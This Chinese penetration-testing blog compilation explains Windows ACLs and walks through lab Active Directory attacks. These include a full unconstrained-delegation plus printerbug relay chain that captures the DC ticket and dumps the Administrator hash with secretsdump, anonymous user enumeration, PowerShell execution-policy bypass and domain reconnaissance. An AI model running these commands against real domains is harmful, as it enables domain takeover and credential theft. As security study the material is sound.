其实windows ACL、DACL、SACL、ACE的关系很好解释

ACL分为两种，DACL和SACL，而DACL和SACL又由一个个的ACE构成

DACL主要用于设置用户以及用户组对安全对象的访问权限

SACL用于配置对安全对象的访问的审计（生成日志）

下面我们详细介绍

本文章会描述ACL是啥，以及其所有的组件以及他们是如何使用的

在windows中，你可以委派访问到不同的安全对象中，

安全对象拥有一个安全描述符（SD）

SD用于控制该对象的访问，它包含了对象所有者的信息，以及什么需要被审计和通过什么样的方式进行权限的允许

它包含了真正的用于设置安全权限的ACL，在AD中，所有的对象都具有DS

常见的安全对象如下：

NTFS文件系统中的文件和文件夹
互动目录对象
注册表中的键
网络共享
本地或者远程打印机
windows 服务
命名管道
匿名管道
进程
线程
文件映射对象
访问令牌
windows管理对象（windows工作站或者桌面）
进程间同步对象（事件、互斥对象、信号量、可等待定时器）
Job对象
分布式组件对象模型对象

现在我们知道了我们要保护的究竟都是些什东西之后，我来带大家彻底了解一下ACL以及其组件是如何在文件系统和AD中工作的

ACL ——access control list

ACL是一堆ACE的有序列表，他定义了应用到一个对象和对象属性的保护

每一个ACE标识一个安全实体，并指定了访问权限的集合，访问权限包括allowed、denied、audited

一个对象的SD一般包含两个ACL

DACL 标志用户和用户组的allowed或者denied权限
SACL 控制访问如何进行audited

当一个用户试图访问一个文件时，window系统会运行一个AccessCheck并对用户的access token和该文件的SD进行对比，然后评估该用户是否拥有相应的权限，拥有什么样的权限取决于ACE集合

DACL——Discretionary Access Control List

自主访问控制列表

DACL标志了用户和用户组所赋予的针对某个对象的权限

它包含了一个ACE对列表（Account + AccessRight）

大概类似于这种形式

SACL——System Access Control List

SACL使得监控对安全对象的访问变得可能

SACL中的ACE决定了决定了什么类型的访问会被记录到安全日志中

配合监控工具，如果有恶意用户试图访问安全对象，可以对管理员发起警报

这个在AD中将会很有用，恶意用户可能会在不经意中触发警报，以便管理员及时发现风险

另外，除了用在预防攻击上面，也可以作为一种防范意外情况的手段，如果发生了误操作，可以根据日志记录，来进行还原，

可以通过该日志用来进行access issues的trobleshoot

ACE——Access Control Entries

ACE是最终描述安全实体对安全对象的访问权限的东西

DACL和SACL会包含很多ACE

ACE包含如下访问控制信息：

用于标志用户或者用户组的SID
用于指定访问权限的access mask
一系列比特位（bit flag)，这些比特位用于决定子对象是否集成父对象的ACE
一个标明ACE类型的flag

一共有两种ACE集合

Generic ACE

拥有以下几种类型

显式allow ACE
显式deny ACE
generic deny ACE
generic allow ACE
inherited deny ACE
inherited allow ACE
Audit allow和deny ACE

Deny ACE的优先级总是高于Allow ACE

inherited deny ACE也是这样

但是如果你对子对象设置了一个explicit allow ACE（显式Allow ACE），那么子对象继承成来的ACE就不再起作用了，你设置的显式Allow ACE拥有更高的优先级

EXplicit Deny也拥有较高的优先级（相对于allow）

在windows系统中，对文件或者文件夹的访问权限是在NTFS文件系统中进行设置的

当一个用户尝试去访问一个文件或者文件夹的时候，该用户的access token就会和该文件的DACL进行对比，如果访问列表中的SID列表中没有任何一条和ACE中匹配，那么这个用户机会被explicit denied acces

如果有任何一条匹配的，就会按照如下规则就行权限的判定

Explicit deny
Explicit allow
Inherited deny
Inherited allow

Object-Specific ACE——特定对象的ACE

在AD中，有一种额外的ACE集合，叫做object-specific ACE

这两种ACE有着相同的特性，不同的是，object-specific能够提供更高级别的安全性（粒度）

object-specific ACE拥有以下几种类型

object-specific deny ACE

‒拒绝访问Active Directory对象上的属性

‒拒绝访问Active Directory对象上的属性集

‒基于子对象的SID将ACE继承限制为指定类型的子对象

object-specific allow ACE

同上，拒绝改为允许

object-specific System-Audit ACE

‒ 对属性和属性集的访问进行记录，或者限制对特定类型子对象的继承

LSA评估ACL列表中的ACE的顺序为Explicit Deny、Explicit Allow、继承Deny、继承Allow

当一个用户试图访问AD中的一个对象时，LSA会获取用户的access token，安全子系统会拿用户的SID、所属用户组SID和访问对象的DACL中的ACE来判断权限是deny还是granted

找不到匹配的SID，则用户对该对象的访问会被拒绝

如果用户对AD中的对象有访问和更改权限，那么对该对象的更改会被审计，并会在安全日志中留下记录

可视化

为了可视化上面提到的所有东西，我会展示几张图片

我们以文件系统为例

下面是ACL、DACL和ACE在文件夹的安全选项卡中的典型形式：

点击高级（advanced）按钮，我们会获取到更多的选项，比如继承

使用SACL对object进行监控

我们以监控单个文件为例

我们在使用SACL对安全对象进行监控之前，需要先设置组策略启用audit object access，这里我们设置的是对成功访问的审计（只对访问成功的事件进行记录）

然后在文件的安全选项卡中进行SACL的配置

我们这里配置对C:\Users\123\AppData\Local\Tep\test_file.txt文件的读取行为进行监控

SACL配置完成之后可能会产生的日志

4656(S, F): A handle to an object was requested.

4658(S): The handle to an object was closed.

4660(S): An object was deleted.

4663(S): An attempt was made to access an object.

4664(S): An attempt was made to create a hard link.

4985(S): The state of a transaction has changed.

5051(-): A file was virtualized.

4670(S): Permissions on an object were changed.

用记事本打开该文件，可以查看到如下日志：

上面我们只设置了监控文件的read，但是此时如果我们使用python写个脚本去读取内容，是不会产生日志的

#!/usr/bin/env python

# Define a filename.
filename = "C:\\Users\\123\\AppData\\Local\\Temp\\test_file.txt"

# Open the file as f.
# The function readlines() reads the file.
with open(filename) as f:
    content = f.readlines()

# Show the file contents line by line.
# We added the comma to print single newlines and not double newlines.
# This is because the lines contain the newline character '\n'.
for line in content:
    print(line),

要想监控到，需要同时勾选上下面这个选项

此时再使用脚本读取该文件，就会产生日志

在windows AD中，SACL的用途以及选项会比工作组多很多，下面是一个OU的ACL相关的截图

非约束委派账户配合printerbug域内提权

2020-12-24T00:00:00+01:00

参考链接：

基本原理

这里不对非约束委派的具体细节进行深究，这里只讲一下利用的原理，如果你想了解数据包层面的原理分析，请移步至这篇文章：Kerberos非约束委派数据包分析

域内的用户A在访问由非约束委派账户B运行的服务S
向KDC请求服务票据
KDC在判断要请求的服务S为非约束委派账户B运行的服务之后会向用户A返回带有用户A的TGT的票据
该票据由服务账户也就是非约束委派账户B的hash进行加密
用户A向其请求的服务器发送带有其TGT的服务票据
服务器拿到后使用服务账户B解密即可获得用户A的TGT

如果这里的A是域管理员或者域控制器的机器账户，那么我们就有可能获得整个域的管理权限

域环境

在执行到最后一步，也就是触发printerbug的时候，发现总是报SMB SessionError: STATUS_OBJECT_NAME_NOT_FOUND，在krbrelay项目的issues里翻了翻，找到了相关问题：https://github.com/dirkjanm/krbrelayx/issues/9，在server 2008全版本以及server 2012中即使启用了Printer Spool服务，也依然无法访问到spoolss命名管道，因为它不在RPC中暴露该服务，因此下面的操作虽然是在server 2008上执行的，但是大家复现的时候要在server 2012 R2上进行操作

域控：

Windows Server 2012 R2
domain1.com

内网脱域linux主机:

centos7
root / 1234

需要关闭selinux，不然krbrelay开放的端口无法被外部访问，禁用方法参考https://www.cyberciti.biz/faq/disable-selinux-on-centos-7-rhel-7-fedora-linux/，最后还要再执行一下iptables -F清除防火墙规则

非约束委派账户：

ohyeah / OMG Step Bro I'm stuck

已经获得的一个低权限的域内账户：

low_prv / easyp@ss123

创建非约束委派账户

为该账户注册spn：

setspn -U -A servicetype/somecomputer:somport/servicename ohyeah

这里只用作演示，SPN是乱写的，只要符合格式即可<service class>/<host>:<port>/<service name>

注册完成之后，ohyeah账户的属性中会出现委派选项卡，勾选第二个即可

当然在实战环境中，我们需要自己定位非约束委派账户，使用dirkjanm的ldapdomaindump工具可以查找域内的非约束委派账户:

[root@localhost ldapdomaindump]# python3 ldapdomaindump.py -u domain1\\low_prv -p easyp@ss123 192.168.60.138
[*] Connecting to host...
[*] Binding to host
[+] Bind OK
[*] Starting domain dump
[+] Domain dump finished
[root@localhost ldapdomaindump]# grep TRUSTED_FOR_DELEGATION domain_users.grep
ohyeah  ohyeah  ohyeah          Domain Users    12/22/20 06:52:40       12/22/20 07:33:20       12/22/20 07:14:59       NORMAL_ACCOUNT, DONT_EXPIRE_PASSWD, TRUSTED_FOR_DELEGATION     12/22/20 06:52:40       S-1-5-21-907132375-727761492-2815538385-1104

至于通过什么样的手段去获得该非约束委派账户的密码以及内网的linux服务器权限这里就不细讲了，没有固定的方法，这取决于各位在内网中进行信息搜集的和凭证获取的能力

然后我们用这个非约束委派账户再去注册一个SPN，主机就是我们已经控制的centos7，这里我们可以通过代理使用addspn.py进行SPN的注册，该脚本是dirkjanm工具集krbrelayx中的其中一个

$ python addspn.py -u domain1.com\ohyeah -p "OMG Step Bro I'm stuck" -s HOST/whatthefuck.domain1.com  ldap://192.168.60.138
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[+] Found modification target
[!] Could not modify object, the server reports insufficient rights: 00002098: SecErr: DSID-03150BB9, problem 4003 (INSUFF_ACCESS_RIGHTS), data 0

提示我们当前账户缺少适当的权限进行SPN的注册，一般情况下，非约束委派账户都是拥有对SPN的读写权限的，因此我们进行如下设置

至此，非约束委派账户创建完毕

使用非约束委派账户注册SPN

再次进行注册，其中192.168.60.138是域控制器地址：

$ python addspn.py -u domain1.com\ohyeah -p "OMG Step Bro I'm stuck" -s HOST/whatthefuck.domain1.com ldap://192.168.60.138
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[+] Found modification target
[+] SPN Modified successfully

添加DNS记录

然后我们要把刚才注册的SPN中的域名whatthefuck.domain1.com指向我们已经控制的centos7，使用dnstoo.py可以完成该操作

$ python dnstool.py -u domain1.com\low_prv -p easyp@ss123 -r whatthefuck.domain1.com  -a add -d 192.168.60.228 192.168.60.138
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
[+] LDAP operation completed successfully

添加之后，whatthefuck.domain1.com就会解析到我们的cnetos7的IP：192.168.60.228，这个记录最迟会在3分钟后生效，因为ADIDNS从LDAP中刷新纪录是有时间间隔的

开启Kerberos中继

下面我们在centos7上开启krbrelay，这一步就没办法通过代理操作了，只能在改linux上进行操作，一般情况下linux服务器的80端口（httpd）都是开着的，因此我们需要对krbrelayx.py的http服务监听端口进行更改，在94行添加c.setListeningPort(12138)即可：

然后开启krbrelay，-s参数的值就是salt，格式为域名全大写+用户名

开始使用的是python2，但是报了编码相关的错误，如果大家遇到了这种错误，可以尝试一下python3，应该能解决问题

[root@localhost krbrelayx-master]# python3 krbrelayx.py -p "OMG Step Bro I'm stuck" -s DOMAIN1.COMohyeah
[*] Protocol Client LDAP loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client SMB loaded..
[*] Running in export mode (all tickets will be saved to disk)
[*] Setting up SMB Server
[*] Setting up HTTP Server

[*] Servers started, waiting for connections

利用printerbug触发DC回连

一切准备就绪，现在只需要用printerbug漏洞触发域控制器向我们发起访问即可

python printerbug.py DOMAIN1/ohyeah:"OMG Step Bro I'm stuck"@192.168.60.138 whatthefuck.domain1.com

krbrelay收到来自DC的连接：

[root@localhost krbrelayx]# python3  krbrelayx.py -p "OMG Step Bro I'm stuck" -s DOMAIN1.COMohyeah
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client SMB loaded..
[*] Running in export mode (all tickets will be saved to disk)
[*] Setting up SMB Server
[*] Setting up HTTP Server

[*] Servers started, waiting for connections
[*] SMBD: Received connection from 192.168.60.138
[*] Got ticket for WIN-4T6K0ODHA2F$@DOMAIN1.COM [krbtgt@DOMAIN1.COM]
[*] Saving ticket in WIN-4T6K0ODHA2F$@DOMAIN1.COM_krbtgt@DOMAIN1.COM.ccache
[*] SMBD: Received connection from 192.168.60.138
[-] Unsupported MechType 'NTLMSSP - Microsoft NTLM Security Support Provider'
[*] SMBD: Received connection from 192.168.60.138
[-] Unsupported MechType 'NTLMSSP - Microsoft NTLM Security Support Provider'

至此我们已经获取到了DC的机器账户WIN-4T6K0ODHA2F$的TGT：WIN-4T6K0ODHA2F$@DOMAIN1.COM_krbtgt@DOMAIN1.COM.ccache

提升至域控权限

设置环境变量，那个ccache文件又长还带了一个$，我干脆把它重命名为123.ccache：

[root@localhost krbrelayx]# mv *.ccache 123.ccache
[root@localhost krbrelayx]# export KRB5CCNAME=/tmp/tmp/krbrelayx/123.ccache

在/etc/hosts文件中添加如下两行记录用于解析域名：

192.168.60.138 win-4t6k0odha2f.domain1.com
192.168.60.138 domain1.com

然后使用secretsdump.py获取指定域用户的hash，比如administrator：

[root@localhost krbrelayx]# secretsdump.py -no-pass -k win-4t6k0odha2f.domain1.com  -just-dc-user administrator -just-dc-ntlm
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:061c54f1f5311e1f47958465e16bab65:::
[*] Cleaning up...

至此，提权成功

获取windows登录日志

2020-12-22T00:00:00+01:00

获取主机交互式登录日志

powershell脚本

脚本下载链接：log_export.ps1

运行完成之后会生成一个包含登录日志的csv文件，我这里是在我自己的机器上演示的，所以没有登录IP，在实际环境中如果存在3389登录，则会显示出登录IP

可以注意到我上面运行的命令为：powershell -executionpolicy bypass -command "& { C:\Users\x\AppData\Local\Temp\log_export.ps1 }"，这样可以直接在shell环境下绕过powershell脚本执行限制策略运行ps1脚本，可参考我的这篇文章：在cmd中导入powershell module并执行

同时我们也可以指定时间范围来对查询结果进行限制，用法：

powershell -executionpolicy bypass -command "& { C:\Users\x\AppData\Local\Temp\log_export.ps1 -StartTime \"December 11, 2020\" -EndTime \"December 22, 2020\" }"

上面这条命令会导出2020-12-11至2020-12-22之间的登录日志，指定时间范围是需要注意格式：November 1, 2020，月份为英文全写，首字母大写，然后空格跟上日期，最后是英文的,加空格再跟上年份，

我对脚本进行了更改，如果不指定日期，则默认时间范围是1970-1-1~1970-1-2，即导出数据为空

$ powershell -executionpolicy bypass -command "& { C:\Users\x\AppData\Local\Temp\log_export.ps1 }"
Get-WinEvent : 找不到任何与指定的选择条件匹配的事件。
所在位置 C:\Users\x\AppData\Local\Temp\log_export.ps1:46 字符: 23
+ ... llEntries = Get-WinEvent -FilterHashtable $LogFilter -ComputerName $S ...
+                 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ObjectNotFound: (:) [Get-WinEvent], Exception
    + FullyQualifiedErrorId : NoMatchingEventsFound,Microsoft.PowerShell.Commands.GetWinEventCommand

Writing File: C:\Users\x\2020-12-22T16.51.49_RDP_Report.csv
Done!

此时导出的csv文件中将不包含任何有效记录！

探测主机网络状态

2020-12-22T00:00:00+01:00

探测主机是否能够出网

使用windows自带的ftp

使用这种方式确实可以判断目标机器是否可以与外部IP建立TCP连接，但是缺点是只能探测21端口，windows自带的ftp命令无法使用一条命令连接指定端口，需要先进入交互式的ftp命令提示符之后才可以使用open指定端口

使用portqry.exe

下载链接

该工具为Microsoft提供，不会被杀软查杀，可以使用如下方式探测指定IP的指定端口是否开启：

portqry.exe -n 114.116.241.95 -e 54321

portqry默认采用TCP协议进行端口探测，可以使用-p选项指定协议：

portqry.exe -n 114.116.241.95 -e 55555 -p udp

获取主机出口IP

对于出网的机器，直接使用上面两种方法即可获取到主机的出口IP，但是对于不出网但是又能够解析域名并往外发ICMP包的主机来说，就需要使用下面这两种方法来获取出口IP了

使用BurpSuite的Burp Cpllaborator client

点击copy to clipboard获取域名

在目标机器上ping上面获取到的域名：

然后在Burp Cpllaborator client点击Pull now，即可获得DNS请求信息，从而获取到目标机器的出口IP：

不过使用这种方法获取到的IP不保证为目标机器的真实出口IP，因为如果它使用的是递归查询的方式，那么我们获取到的IP可能就是最后一个向我们发起dns查询请求的dns服务器的IP，只能大致推测一下目标IP的地理位置，还是使用tcpdump监听icmp包比较靠谱

监听ICMP包

左侧使用tcpdump监听eht0网卡上的ICMP包：tcpdump -nn -i eth0 icmp

一般情况下是不会有人ping我们的vps的，所以这种方法相对比较准确，这里只发了一次包，可以多发几次以提高正确率

关于windows空会话的一些研究

2020-10-18T00:00:00+02:00

前言

在这篇文章中我们探讨一下windows空会话

参考链接：

https://sensepost.com/blog/2018/a-new-look-at-null-sessions-and-user-enumeration/

抓包分析

使用rpcclient尝试建立空连接并调用querydispinfo方法

rpcclient -U'%' 192.168.60.160 -c 'querydispinfo'

返回NT_STATUS_ACCESS_DENIED

从抓包结果上分析，认证和授权这两个部分是分开的

可以看到在执行Connect5方法时已经开始报出STATUS_ACCES_DEBIED错误，根据微软官方文档对SAMR协议的描述并对比连接成功时的数据包，可以看出来客户端会逐一尝试Connect方法，直到Connect2失败，结束请求，返回错误

你可以认证到ipc$共享上，也可以打开ipc$共享，但是你没办法在其所暴露出来的samr这个命名管道上调用QueryDisplayInfo方法，也就是说你可以建立空连接，但是你无法执行特定的RPC方法

这里描述了各命名管道上能够调用的方法：

https://manpages.debian.org/testing/smbclient/rpcclient.1.en.html

使用nmap的 smb-enum-users脚本可以枚举出远程系统的所有用户，有时间我要研究一下这个脚本是怎么回事

但是我本地复现时无法枚举远程系统的用户，网上搜了一下，说是需要使用比较老的nmap版本

我尝试找了一下哪些管道可以进行匿名连接，还有就是在这些管道上可以调用哪些方法

最后我锁定了netlogon管道上的GetDcName, DsrGetDcName, DsrGetDcNameEx和DsrGetDcNameEx2这些方法

这些方法可以被用来检测在DC中是否存在特定的用户

直接调用DsrGetDcNameEx2方法

先用rpcclient工具执行如下命令调用DsrGetDcNameEx2方法

rpcclient 192.168.60.160 -U'%' -c 'dsr_getdcnameex2 Administrator 512 domain2.com'

192.168.60.160是DC
domain2.com是域名
Administrator 是我们要验证是否存在的用户名
512 是AllowableAccountControlBits的值（参考https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nrpc/fb8e1146-a045-4c31-98d1-c68507ad5620?redirectedfrom=MSDN），0000000000000000000001000000000代表域用户

可以根据响应结果来进行判断：

存在则返回一个结构体
不存在则返回WERR_NO_SUCH_USER

下面看抓包情况

下面是DsrGetDcNameEx2请求的参数，16进制的200就是512，代表域用户

用户存在会返回success

用户不存在则返回unknown

在抓取到的数据包中，可以看到如下数据包：

可以看到空连接建立之后我们可以通过调用lsarpc命名管道上的LsarQueryInformationPolicy2方法来获取域的SID

root@ubuntu:/# rpcclient 192.168.60.160 -U'%' -c 'lsaquery'

Domain Name: DOMAIN2

Domain Sid: S-1-5-21-1986246999-2617435358-1981060215

根据上面的分析编写一个脚本，功能如下：

使用impacket框架调用DsrGetDcNameEx2方法，接收一个用户名列表，然后依次使用该列表中的用户针对远程主机（DC）调用DsrGetDcNameEx2方法，根据返回结果来进行枚举

使用上面这种直接调用RPC方法来枚举用户是有一定的局限性的的，因为如果目标DC使用Network security: Restrict NTLM: Incoming NTLM traffic组策略禁用账户使用NTLM认证方式，那么直接调用RPC也就会失败

该策略是在Default Domain Controllers Policy中设置的

构造数据包进行枚举

为了加速枚举，我调查了一下DsrGetDcNameEx2是如何工作的，该方法和GetDcName, DsrGetDcName, DsrGetDcNameEx都可以根据提供的域名来定位到该域的DC

这些方法会使用DNS、LDAP或者NetBIOS等方法获取域控制器在域内的位置

他们的工作方式大致如下所述：

1、通过DNS查询或者NetBIOS广播提供的域名获取到域控制器的IP
2、如果通过DNS获取到了域控制器的IP，则请求端会向DC发送一个LDAP ping报文，如果通过NetBIOS获取到了DC的IP，会向DC发送一个mailslot ping报文，这两个数据包都是通过UDP协议进行发送的，这两个报文中都有一个Filter，其实就是请求的一些参数
3、DC检查自己是否符合这些要求并发送响应报文
4、最后调用方法的系统会处理发送回来的响应报文

LDAP ping

发起调用的主机会向远程主机发送一个CLDAP报文（基于UDP，无连接），对于用户存在的情况，DC会向源主机返回操作码为23的报文，如果用户不存在则返回操作码25

因此我需要自己构造出CLDAP报文，Samba源代码中有一个示例脚本，该脚本可以构造出这样的CLDAP报文

根据那个示例脚本我写出了下面这个脚本：

https://github.com/sensepost/UserEnum/blob/master/UserEnum_LDAP.py

安装这个工具需要asn1tools模块，安装的时候有需要安装diskcache模块，但是使用python2安装的时候他会出现错误，因为默认安装的是针对python3的模块，因此需要指定diskcache模块的版本

pip install diskcache==4.1.0

还有就是上面安装好之后还是会报错ImportError: cannot import name WordCompleter

然后我们使用如下方式解决

python2 -m pip install scapy==2.4.0

python2 -m pip install asn1tools==0.55.0

pip install prompt_toolkit==1 .0.15

如果运行的时候报下面的错误

asn1tools.codecs.EncodeError: protocolOp: typesOnly: Expected data of type bool, but got 0.

则使用如下方法解决

pip install asn1tools==0.100.0

之前写的脚本是直接调用的rpc方法，这种调用方法的方式相比较直接构造数据包发送请求的方式要慢很多

我测试了一下，1万多个用户名，只用了10秒左右

下面是抓的请求包

这里acc进行了映射，映射表是下面这俩：

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/10bf6c8e-34af-4cf9-8dff-6b6330922863?redirectedfrom=MSDN

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/8a193181-a7a2-49df-a8b1-f689aaa6987c?redirectedfrom=MSDN

从第一个表中我们可以找到普通域用户也就是16进制的200，对应的是UF_NORMAL_ACCOUNT

从第二个表中我们可以看到UF_NORMAL_ACCOUNT对应的是USER_NORMAL_ACCOUNT

USER_ACCOUNT在这里可以找到，可以看到USER_NORMAL_ACCOUNT的值是0x00000010

从上面wireshark抓的包我们可以看到显示的是10:00:00:00

这个不能直接读，细心的话你可以发现这里没有加0x前缀，我们就必须将网络序（大端）转换成小端来读，转换之后就是00:00:00:10，正好符合上面的映射

后面我又在想我可以使用通配符来猜解用户名，比如B*、Bo*等，但是当我这样写的时候，构造出来的CLDAP包就无法正常响应了

我又捣鼓了一会儿，发现确实没办法实现这种功能，不过既然CLDAP可以达到这种爆破用户名的效果，那么NetBIOS呢？

首先我使用rpcclient发起了一个DsrGetDcNameEx2方法的调用，然后在wireshark中，我捕捉到了如下数据包:

这里发起请求的机器为DC01（192.168.57.2），目标机器为black（192.168.57.120）

1、57.2发送NBNS广播报文，查询black这个名称
2、120向57.2返回NBNS响应报文，其中包含自己的IP（192.168.57.120）
3、57.2发送SMB_NETLOGON广播报文（UDP），这里明明已经知道了black域的DC的IP却还要发送广播，我也不知道为啥
4、120发送NBNS广播报文，查询DC01这个名称
5、57.2向120发送SMB_NETLOGON报文
6、57.2向120返回NBNS报文，报告自己的IP
7、120向57.2返回SMB_NETLOGON响应报文

从以上的报文我们可以看出来，通信双方都发起了NBNS查询，而且查询的名称我们是可以控制的，响应的IP地址我们也可以控制（这个我们只能控制DC01），但是通信过程一直都是UDP，没有SMB TCP报文，我们无法使用Responder来利用，但是我发现至少可以利用这个来方法来中毒目标系统的NETBIOS名称-ip对应表缓存

mailslot ping

看完了ldap之后我们再来看一下NetBIOS

可以使用这个脚本枚举

在运行该脚本的时候可能会遇到如下错误：

from scapy.all import *

ImportError: No module named scapy.all

解决方法

pip install scapy==2.4.3

使用方法：

Python2 UserEnum_NBS.py 192.168.60.148 192.168.60.160 DOMAIN2 userlist.txt

注意这里域名是NetBIOS名称，也就是大写字母，比如domain.local在这里应该写成DOMAIN，注意这里写的并不是FQDN

可以看到netlogon的响应包

参考对照表，0x17 （十进制的23）表示LOGON_SAM_LOGON_RESPONSE_EX而并不是user unknown，这里应该是wireshark的问题，LOGON_SAM_USER_UNKNOWN_EX应该是0x19

因此操作码为0x17说明用户存在

后记

以上提到的三种方式中，CLDAP是最快的，其实次NetBIOS，最慢的是直接调用DsrGetDcNameEx2 方法，且前两者不会产生日志，最后一种方法会产生匿名登录日志

这个是直接调用rpc方法产生的日志

域内信息搜集

2020-08-10T00:00:00+02:00

前言

最近内网渗透的工作比较多，这里总结一下域内渗透的相关知识

实验环境

SPN查询

SPN名称及其对应的服务名称

查询脚本

用法：

powershell -executionpolicy bypass -command "& { import-module C:\Users\123\Desktop\1.ps1; Discover-PSInterestingServices -OptionalSPNServiceFilter (\"Microsoft Virtual Console Service\",\"Dfsr\") }"

\"Microsoft Virtual Console Service\",\"Dfsr\")这些是想要获取的服务名称，使用,分割

如果没有OptionalSPNServiceFilter参数没有指定任何服务，那么默认就只搜索ftp服务

要想找文件服务器，除了ftp服务之外，也可以尝试nfs服务

获取ADIDNS记录

参考：

https://dirkjanm.io/getting-in-the-zone-dumping-active-directory-dns-with-adidnsdump/

ADIDNS——活动目录集成DNS，默认情况下，任何经过验证的域内用户都能够读取域内所有DNS记录

使用Dirk-jan Mollema大佬编写的工具https://github.com/dirkjanm/adidnsdump即可非常方便地导出域内所有的DNS记录，使用方法如下：

adidnsdump -u matrix.loc\qqq -p qwe123... corpdc1.matrix.loc -r

最后的结果会保存在当前目录下的records.csv文件中，如果我们是使用socks等代理的方式进行记录的导出，可以通过--dns-tcp标志，并将最后的HOSTNAME换成域控制器的IP即可

由于DNS记录并不总是存在于DomainDNSZones应用分区中，所以我们在导出DNS记录时应先使用--print-zones参数打印出当前域所拥有的所有DNS区域以及他们所在的分区

对于forest分区，需要在导出时加上--forest选项，而对于legacy分区，则需要在导出时加上--legacy，如下面两张图所示：

其中legacy DNS zones是由低版本的域控制器升级产生的，比如windows 2000并没有应用分区这个概念，所以在升级之后就会存在于该分区，其DN一般为DC=domain.local,CN=MicrosoftDNS,CN=System,DC=domain,DC=local

准确的DNS区域dn可以使用powermad查询

在cmd下执行如下命令

powershell -executionpolicy bypass -command "&{ import-module  C:\Users\administrator\Downloads\Powermad-master\powermad.ps1; Get-ADIDNSZone }"

csvde导出域内信息

下载链接：https://gitee.com/wochinijiamile/smartya/raw/master/csvde.exe

csvde导出域内信息会产生的日志

首先产生事件ID为4776的凭据验证日志，在这里可以看到执行导出操作的机器的hostname
然后产生事件ID为4672的特殊登录日志，为新登录的账户分配特殊权限，在这里可以看到登录账户拥有的权限，但是看不到源主机
产生事件ID为4624的登录日志，在这里可以看到源主机的hostname和IP乃至TCP连接的端口信息
最后产生事件ID为4634的注销日志，这里的信息比较少

基本参数说明和处理脚本的编写

csvde导出域有两种方式，一种是将csvde传入目标内网机器进行信息的导出，另一种是通过proxyfier代理进入目标内网来进行信息的导出

导出uoiysdf.iuodsf.vi域的所有信息

-s指定远程域控制器IP
-b指定导出数据使用的用户名，后面紧跟目标域名和用户密码
-d指定目标BaseDN，形如："dc=uoiysdf,dc=iuodsf,dc=vi"
-m指定输出中不包含二进制数据，但是仍然会出现十六进制（这个可以使用python脚本进行处理）的数据，多出现在description属性中（因为可能包含中文）
-f指定输出文件
-u指定unicode编码，不过貌似没有用导出的结果会存储到csv文件中，直接使用excel打开会显得比较混乱，推荐使用notepad++等专业编辑器打开

csvde -s 192.168.1.10 -b administrator uoiysdf.iuodsf.vi 43u96tgjirbtgpnk3w4o9-ip -d "dc=uoiysdf,dc=iuodsf,dc=vi" -m -f res.csv -u

我们主要通过ldap过滤器来筛选出我们想要导出的数据

ldap过滤器

备份链接

python处理脚本（参考）：

#coding:utf-8
import csv
import codecs
from datetime import datetime
import binascii
import argparse


def code_convert(content):
    # bytes => str  to display
    if type(content) == bytes:
        content = content.decode()
    return content

def hex_parse(hexstr):
    hexstr = binascii.a2b_hex(hexstr)
    result = code_convert(hexstr)
    return result

def line_parse(line, flag):
    # parse every line with hex
    new_line = []
    i = 0
    for temp in line:
        i = i + 1
        #跳过时间戳那一列的处理，这里根据自己的实际情况更改i的值
        if i != 3 and temp and temp[0] == 'X':
            try:
                temp = temp[2:-1]
                temp = hex_parse(temp)
            except Exception as ex:
                temp = "Parser Error,The error is {} .Please go to https://tool.lu/hexstr/ .".format(ex)
        #windows时间戳处理代码，使用falg标志是否为第一行，避免处理表头
        if i==3 and flag==False and line[2] and line[2] != "0":
            print(line[2])
            ttttt = int(line[2])
            ts = int((ttttt / 10000000) - 11644473600)
            temp = datetime.utcfromtimestamp(ts).strftime('%Y-%m-%d %H:%M:%S')
        #在每列的值前后加上"是为了后需使用excel处理csv文件时更加方便，因为以,作为分隔符，同时导出的计算机的dn上
        #又带有,，如果没有"将其包围，会导致最终产生的表格内容混乱
        temp = '"' + temp
        temp = temp + '"'
        new_line.append(temp)

    #print(new_line)
    result = ','.join(new_line)
    return result

def file_write(result):
    with open('results.csv', 'a+', encoding="utf-8") as h:
        h.write(result)
        h.write("\n")
    h.close()

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Parse the csvde result')
    parser.add_argument('-f', '--filename',dest='filename',action="store",
                    help='the file to convert')
    parser.add_argument('-hs', '--hexstr',dest='hexstr',action="store",
                    help='the hex str to decode')
    args = parser.parse_args()
    if args.filename:
        filename = args.filename
        print(filename)
        reader = csv.reader(codecs.open(filename, 'rU', 'utf-16'))
        #head_row = next(reader)
        i = 0
        for line in reader:
            i = i + 1
            flag = False
            if i==1:
                flag = True
            line = line_parse(line, flag)
            file_write(line)
    if args.hexstr:
        hexstr = args.hexstr
        res = hex_parse(hexstr)
        print(res)

在线转换

在线转换工具

根据网上的代码自己修改了一下，可以满足基本需求

导出域内OU信息

在powershell中使用如下命令创建出三个OU：

New-ADOrganizationalUnit -Name IT -Path "DC=uoiysdf,DC=iuodsf,DC=vi"

New-ADOrganizationalUnit -Name Office -Path "OU=IT,DC=uoiysdf,DC=iuodsf,DC=vi"

New-ADOrganizationalUnit -Name HR -Path "DC=uoiysdf,DC=iuodsf,DC=vi"

使用-r选项设置ldap过滤器，-l选项指定想要获取的属性，这里我们选择dn和description属性

这里我们使用objectClass=organizationalUnit筛选出ou，起始位置为ou=it,dc=uoiysdf,dc=iuodsf,dc=vi

csvde -s 192.168.1.10 -b administrator uoiysdf.iuodsf.vi 43u96tgjirbtgpnk3w4o9-ip -d "ou=it,dc=uoiysdf,dc=iuodsf,dc=vi" -r (objectClass=organizationalUnit) -l dn,description -m -f res.csv -u

结果如下：

DN,(null)
"OU=IT,DC=uoiysdf,DC=iuodsf,DC=vi"
"OU=Office,OU=IT,DC=uoiysdf,DC=iuodsf,DC=vi"

